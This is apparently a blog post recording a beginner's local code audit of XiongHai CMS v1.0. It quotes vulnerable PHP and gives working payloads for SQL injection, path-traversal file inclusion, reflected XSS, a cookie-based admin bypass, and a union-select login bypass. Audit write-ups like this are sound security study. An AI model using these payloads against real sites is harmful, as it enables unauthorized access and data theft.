熊海cms v1.0代码审计

下载熊海cms整个文件

phpstudy本地搭建网站完之后

先查看目录

——admin     //后台文件
——css       //css文件
——files    //功能函数文件
——images   //图片
——index.php //主目录文件
——inc //include的简写,存放头文件的 
——install   //安装文件
——seacmseditor  //编辑器
——template      //模板文件
——upload    //文件上传目录

开始进行代码审计

先seay扫描一遍

扫出第一个漏洞

一 安装界面存在sql注入漏洞

$query = "UPDATE manage SET user='$user',password='$password',name='$user'";

构造报错注入payload

1' or extractvalue(1,concat(0x7e,(select @@version),0x7e));#

 二 主目录 和admin目录的index.php存在文件包含漏洞

 

<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index 也就是说 这是个三目运算符 优先级是要比赋值要高的 如果file变量为空 则把index赋值给file 否则就不对file变量进行操作
include('files/'.$action.'.php'); //载入相应文件
?>

addslashes函数

 

 

 代码自动给action变量添加/file目录和PHP后缀 所以不要文件包含时不要再自己加php目录了  目录跳转到file的上一目录 也就是首目录执行上传的phpinfo 

http://127.0.0.1/xionghaicms/index.php?r=../info.php

包含成功

 

admin目录的index.php也同样的利用方式

只不过需要跳转两次

http://127.0.0.1/xionghaicms/admin/index.php?r=../../info.php

三 前台多处sql注入

防止sql注入 此cms只是增加了addslashes()函数过滤

但是应用此函数时还需要注意一下两点

  1. 是否有单引号保护

  2.是否做了宽字节注入的防御

对于宽字节编码,有一种最好的修补就是:

(1)使用mysql_set_charset(GBK)指定字符集

(2)使用mysql_real_escape_string进行转义

原理是,mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集,不会出现前面e5和5c拼接为一个宽字节的问题,但是这个“当前字符集”如何确定呢?

就是使用mysql_set_charset进行指定。

上述的两个条件是“与”运算的关系,少一条都不行。

files/software.php 第13行未做单引号保护

$query = "UPDATE download SET hit = hit+1 WHERE id=$id";

files/content.php第19行未做单引号保护

$query = "UPDATE content SET hit = hit+1 WHERE id=$id";

files/submit.php 只是对type变量做了单引号保护 对于post传参也是可以sql注入的

$type=addslashes($_GET['type']);
$name=$_POST['name'];
$mail=$_POST['mail'];
$url=$_POST['url'];
$content=$_POST['content'];
$cid=$_POST['cid'];
$ip=$_SERVER["REMOTE_ADDR"];
$tz=$_POST['tz'];
if ($tz==""){$tz=0;}
$jz=$_POST['jz'];

四  xss漏洞

files/contact.php 第12~15行

$page=addslashes($_GET['page']);
if ($page<>""){
if ($page<>1){
$pages="".$page."页 - ";
构造payload page=<img src=x onerror=alert(/xss/);>执行成功
五 垂直越权
<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;   
}
?>

这是个判断是否为管理员的程序,如果user中为空,就跳到登录首页。可以看到 cookie中的user被赋值给user变量 如果我们在需要登录管理员的页面下 在cookie中尝试添加 user:admin 发现在不需要密码的情况下登录成功。实现了垂直越权。

五 万能密码登录
漏洞位置admin\files\login.php
<?php 
ob_start();
require '../inc/conn.php';
$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];

if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$users = mysql_fetch_array($result);

if (!mysql_num_rows($result)) {  
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;
}else{
$passwords=$users['password'];
if(md5($password)<>$passwords){
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;    
    }
//写入登录信息并记住30天
if ($checkbox==1){
setcookie('user',$user,time()+3600*24*30,'/');
}else{
setcookie('user',$user,0,'/');
}
echo "<script>this.location='?r=index'</script>";
exit;
}
exit;
ob_end_flush();
}
?>
未对user值进行过滤就被带入到数据库进行查询
如果我们在输入user时利用联合查询临时插入一行值,其中包括着密码 在输入密码时结合构造的payload 即可实现登录
user:1' union select 1,2,'test','c4ca4238a0b923820dcc509a6f75849b',5,6,7,8#
password:1

此处md5(1)=c4ca4238a0b923820dcc509a6f75849b

漏洞分析:

先是利用联合查询临时在表中生成了一行数据

 

 然后在输入密码时和我们伪造的数据库密码对应 即可绕过验证 登录成功

 

总结:

 

这是我第一个完整的cms代码审计,但大多还是参考的师傅们的文章。要学的东西还有很多,一步一个脚印慢慢来吧。

路漫漫其修远兮,吾将上下而求索

 
 
posted @ 2021-06-09 09:32  C10ud  阅读(519)  评论(0编辑  收藏  举报